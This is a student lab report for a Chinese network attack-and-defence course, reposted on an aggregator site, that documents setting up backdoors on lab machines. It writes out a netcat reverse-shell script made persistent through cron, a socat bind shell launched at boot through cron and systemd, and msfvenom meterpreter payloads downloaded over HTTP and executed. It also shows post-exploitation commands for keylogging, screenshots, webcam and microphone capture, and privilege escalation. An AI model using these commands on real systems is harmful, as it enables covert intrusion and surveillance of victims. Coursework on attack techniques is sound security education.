20232403 2025-2026-1 《网络与系统攻防技术》实验二实验报告

news/2025/10/22 22:57:07/文章来源:https://www.cnblogs.com/xiangyang050615/p/19153227

20232403 2025-2026-1 《网络与系统攻防技术》实验二实验报告

1.实验内容

1.1netcat和cron协同进行后门入侵的意义

netcat在目标主机上监听端口等待连接,并创建网络连接,提供远程shell访问,但是这种连接是单次的、临时的,具有诸多局限性,此时cron就有存在的意义了,在cron任务列表中可以设置持续性任务,每分钟甚至每秒都可以重复运行任务,使得后门具有了“持久性”。

2.实验过程

2.1

2.1.1环境准备

image
在eth0网络接口的信息中,有一行:inet 192.168.19.129/24,这里的192.168.19.129就是Kali系统的IPv4地址。
屏幕截图 2025-10-22 094538
后门攻击需要两台电脑在同一网段,因此选用和Kali在同一网段的IP地址:192.168.19.1作为实验ip。

2.1.2在windows上准备netcat

屏幕截图 2025-10-22 095827

2.1.3创建后门脚本

nano /tmp/backdoor.sh
在编辑器输入:
bash
#!/bin/bash
/bin/nc 192.168.19.1 4444 -e /bin/bash
其中,#!/bin/bash是指定脚本解释器,告诉系统这个脚本使用/bin/bash来执行
/bin/nc 192.168.19.1 4444 -e /bin/bash是找到连接目标并执行程序。
给脚本执行权限:
chmod +x /tmp/backdoor.sh

2.1.4设置cron定时任务

crontab -e
利用这句命令,编辑当前用户的cron任务表,在文件末尾插入:
* * * * * /tmp/backdoor.sh
这句话的实际含义是,每分钟建立一个shell,其中,设置每分钟的意义是即使后门被杀死,也可以不久再建立一个shell。
crontab -l
image
可以看到,终端列出了当前用户的cron任务,再任务列表的末尾,是我们插入的* * * * * /tmp/backdoor.sh

2.1.5在windows上设置监听

屏幕截图 2025-10-22 103210
可以看到,Kali成功连接到Windows的4444端口,而连接来自端口56890。
我们在Windows的powershell中获得了Kali用户的shell权限,可以执行任意Linux命令。

2.2使用socat获取主机操作Shell,并通过任务计划启动。

2.2.1创建后门脚本

在openEuler上创建后门脚本:
sudo nano /usr/local/bin/backdoor.sh
脚本内容:
#!/bin/bash
while true; do
socat TCP-LISTEN:4444,reuseaddr,fork EXEC:/bin/bash,pty,stderr,setsid,sane
sleep 5
done
这个脚本可以持久地建立后门,while true; do开启了一个无限循环,确保后门持续运行
给脚本执行权限:
sudo chmod +x /usr/local/bin/backdoor.sh

2.2.2使用cron设置开机自启动

屏幕截图 2025-10-22 200247
编辑crontab:sudo crontab -e
添加以下行:
@reboot /usr/local/bin/backdoor.sh
其中,@reboot是cron的特殊时间关键字,表示"在系统启动时"执行
询问AI,有一个更高级的方法是创建systemd系统服务:
创建service文件:sudo nano /etc/systemd/system/backdoor.service
服务文件内容:
[Unit]
Description=Backdoor Service
After=network.target

[Service]
Type=simple
ExecStart=/usr/local/bin/backdoor.sh
Restart=always
RestartSec=5
User=root

[Install]
WantedBy=multi-user.target
启用服务:
sudo systemctl daemon-reload
sudo systemctl enable backdoor.service
sudo systemctl start backdoor.service

2.2.3测试后门连接

在Kali虚拟机中连接openEuler的后门:
socat - TCP:192.168.19.131:4444
image
连接成功,可以使用Linux系统命令,并获取靶机信息。
image
且由于后门程序设置开机自启动,靶机重启后仍能进行监听。

2.3使用MSF meterpreter(或其他软件)生成可执行文件(后门),利用ncat或socat传送到主机并运行获取主机Shell。

2.3.1在Kali上生成后门

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.19.129 LPORT=4444 -f exe -o backdoor_final.exe
屏幕截图 2025-10-22 211148

2.3.2启动HTTP文件服务器

开启新终端,运行:
python3 -m http.server 8888
屏幕截图 2025-10-22 211156

2.3.3设置Metasploit监听器

再开启一个新终端:
msfconsole
在msfconsole中输入:
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.19.129
set LPORT 4444
exploit
屏幕截图 2025-10-22 211435

2.3.4下载并运行后门

在windows powershell中:
Invoke-WebRequest -Uri "http://192.168.19.129:8888/backdoor_final.exe" -OutFile "test.exe"
.\test.exe
image

2.3.5检查连接

回到Kali的Metasploit窗口,你应该看到Meterpreter会话建立。然后执行:
sessions -i 1
shell
屏幕截图 2025-10-22 211529
可以看到,已成功获取windows系统shell的运行权限。

2.4使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容的后门,并尝试提权。

2.4.1在kali终端生成后门

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.19.129 LPORT=6666 -f exe -o exp4.exe
image

2.4.2启动HTTP服务器

python3 -m http.server 9999
image

2.4.3设置Metasploit监听

msfconsole
在msfconsole中依次输入:
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.19.129
set LPORT 6666
exploit

2.4.4在windows上下载并执行

cd $HOME
Invoke-WebRequest -Uri "http://192.168.19.129:9999/exp4.exe" -OutFile "run.exe"
.\run.exe
屏幕截图 2025-10-22 220212

2.4.5基础信息收集

当Metasploit显示会话建立后,在msfconsole中执行:
sysinfo
getuid
screenshot
屏幕截图 2025-10-22 220143

2.4.6键盘记录

keyscan_start
在windows上输入文字
屏幕截图 2025-10-22 220218
keyscan_dump
keyscan_stop
屏幕截图 2025-10-22 220154

2.4.7权限提升

getsystem
getuid

摄像头操作

webcam_list
webcam_snap -i 1

音频录制

record_mic -d 10

键盘记录

keyscan_start
keyscan_dump
keyscan_stop

其他系统信息

run post/windows/gather/checkvm
run post/multi/gather/env
屏幕截图 2025-10-22 220710
kali桌面上已保存相关信息
image

3.问题及解决方案

  • 问题1:在windows系统下安装netcat失败

2.3.3设置Metasploit监听器

msfconsole

  • 问题1解决方案:先考虑是防火墙拦截,检查并关闭了防火墙和实时检查,还是无法下载。询问AI,AI回答可以以管理员身份运行powershell,使用命令行Invoke-WebRequest -Uri "https://eternallybored.org/misc/netcat/netcat-win32-1.12.zip" -OutFile "C:\nc.zip" 直接下载。尝试了一下,成功了,得以顺利完成任务一
  • 问题2:在windows系统下安装socat失败
  • 问题2解决方案:windows系统装不上socat,很多同学都有这个问题,我无法正面解决这个问题,但是选择迂回了一下,新开了一台虚拟机,用别的系统(openEuler)进行任务二,得以顺利完成。
  • 问题3:使用MSF meterpreter进行获取shell时,在windows系统表明“表明文件被其他进程锁定了”
  • 问题3解决方案:排查多个方面,例如防火墙、权限不够等,最后在关闭防病毒软件后成功了。
    image

4.学习感悟、思考等

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/943816.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

分治算法举例与心得

找第k小数的分治算法: 选基准,将数组划分为小于等于基准和大于基准的两部分,基准位置为m 若m=k,返回基准 若m>k,在左部分递归找第k小数 若m<k,在右部分递归找第k-m小数 时间复杂度: 最好情况:每次划分均…

第2天(简单题中等题 取余、因数与倍数、数组 矩阵、数组 字符串)

打卡第二天 9道简单题+1道中等题2的幂的二进制是100000... 利用此特殊性可以把2的幂和二进制联系起来原矩阵:m行 n列 → 转置矩阵:n行 m列; 原矩阵的[i][j] → 转置矩阵的[j][i]二分查找问题 题目:解答:今日耗时≈…

2025.10.22总结

之前在软件案例分析上机课上,因为小组作业需要开发cs架构的一个大项目,因为对编程语言c#,编译器visual studio,编译环境不熟悉.net,先让ai跑了一个cs示例程序,一个服务器端一个客户端,学生的增删改查没加数据库。…

# 20232429 马成栋 2025-2026-1 《网络与系统攻防技术》实验二实验报告

1.实验内容 掌握后门原理及免杀技术 回答问题 (1)例举你能想到的一个后门进入到你系统中的可能方式? 通过一些恶意链接,在用户点击进去之后就给系统自动安装后门 (2)例举你知道的后门如何启动起来(win及linux)的方式…

20232325 2025-2026-1《网络与系统攻防技术》实验二实验报告

后门原理与实践 1. 实验内容学习netcat、socat工具的使用 学习使用MSF meterpreter生成后门文件,并通过netcat或者socat将后门文件远程传输至目标主机 学习如何利用MSF meterpreter生成的后门文件窃取目标主机摄像头内…

20232415 2025-2026-1 《网络与系统攻防技术》 实验二实验报告

一、实验目的 (1)使用netcat获取主机操作Shell,通过cron启动某项任务 (2)使用socat获取主机操作Shell, 通过任务计划启动 (3)使用MSF meterpreter生成后门程序,利用ncat或socat传送到主机并运行获取主机Shell (4)使用…

结对项目:四则运算生成器

双人合作项目 - 四则运算生成器 一、项目信息项目名称 双人合作项目-四则运算生成器课程所属班级 计科2班* 作业要求 作业要求链接作业目标 熟悉体会双人合作构建项目的流程,深入理解项目实现过程中的分工与交流的重要…

CSP-S2023

T4 CSP-S 2023 种树 显然答案有单调性,考虑二分答案 \(t\)。 二分有什么好处呢?就是可以知道每棵树最坏在哪天种才能达到 \(a_i\) 的高度。(不二分是做不到的,因为 \(x\) 是从 \(1\) 开始计数的。) 而这个部分显然…

Spring Boot 中全面解决跨域请求

什么是跨域请求(CORS) 跨域的概念 跨域是指浏览器出于安全考虑,限制了从不同源(协议,域名,端口任一不同)的服务器请求资源,这是浏览器的同源策略(Same-Origin Policy)所导致的。同源策略要求一下三个必须相同…

OpenTelemetry语义约定:规范可观测性数据,提升系统洞察力

在现代分布式系统中,可观测性(Observability)已成为保障系统健康和快速定位问题的关键。然而,随着微服务数量的增长和各种可观测性工具的涌现,如何统一和规范化指标(Metrics)、日志(Logs)和链路追踪(Traces)…

Serilog基于Seq开源框架实现日志分析

一、NuGet 包管理器中下载相关包SerilogSerilog.Sinks.Console(控制台输出)Serilog.Sinks.File(输出到文件)Serilog.Sinks.Seq(输出到Seq服务)二、搭建 Seq 日志服务 Docker命令行快速启动点击查看代码 // 启动项…

US$390 TabScan T6XENTRY C6 Diagnostic Tool Support DoIP J2534 PDU Passthru CANFD

**Revolutionizing Mercedes-Benz Diagnostics: The TabScan T6XENTRY C6 Diagnostic Tool** In the rapidly evolving world of automotive diagnostics, having the right tool can make the difference between a q…

10.20-10.26

10.20 gugugu 10.21 gugugu... 10.22 abc290f 发现实际可能对答案造成贡献的序列的和为\(2n-2\),于是我们通过插板法计算答案: \[\sum_{k=1}^n\dbinom{n}{k}\dbinom{n-3}{k-2}(n-k+1) \]然后化简,通过吸收恒等式和范…

20232421 2025-2026-1 《网络与系统攻防技术》实验二实验报告

1.实践内容 1.1 实践目标使用netcat获取主机操作Shell,cron启动某项任务(任务自定) 使用socat获取主机操作Shell, 任务计划启动 使用MSF meterpreter(或其他软件)生成可执行文件(后门),利用ncat或socat传送到主…

两两交换链表中的节点-leetcode

题目描述 给你一个链表,两两交换其中相邻的节点,并返回交换后链表的头节点。你必须在不修改节点内部的值的情况下完成本题(即,只能进行节点交换)。 示例 1:输入:head = [1,2,3,4] 输出:[2,1,4,3]示例 2: 输入…

算法第二章实践作业

1.随机选择数组中的一个元素作为基准值,将数组划分为三部分:小于基准值的元素(左子数组)、等于基准值的元素(中间部分)、大于基准值的元素(右子数组)。若左子数组的长度 ≥ k,则第 k小的元素一定在左子数组中…

解决homebrew下载报错问题

报错: Error: mysql-client@8.4: Failed to download resource "openssl@3.rb"Download failed: https://raw.githubusercontent.com/Homebrew/homebrew-core/5780e7787be0ee2813710acd974cd41d6b260860/Fo…

软考中级学习总结(5)

连接: (1)Theata连接:R 连接 S theata表示任意不等符 (2)等值连接:R连接S,要求属性相同 (3)自然连接:R连接S,要求R与S有一个/多个同名的属性 计算出RXS,选出其中R.A=S.A 的行 外连接: 1.左外连接(保左)…

软考中级学习总结(4)

知识产权 专利地域性:只在申请国领域内受保护 计算机软件著作权的主体:人 依据:《中华人民共和国著作权法》,《计算机软件保护条例》 计算机软件著作权客体:计算机程序以及有关文档 程序设计说明书 流程图 用户手…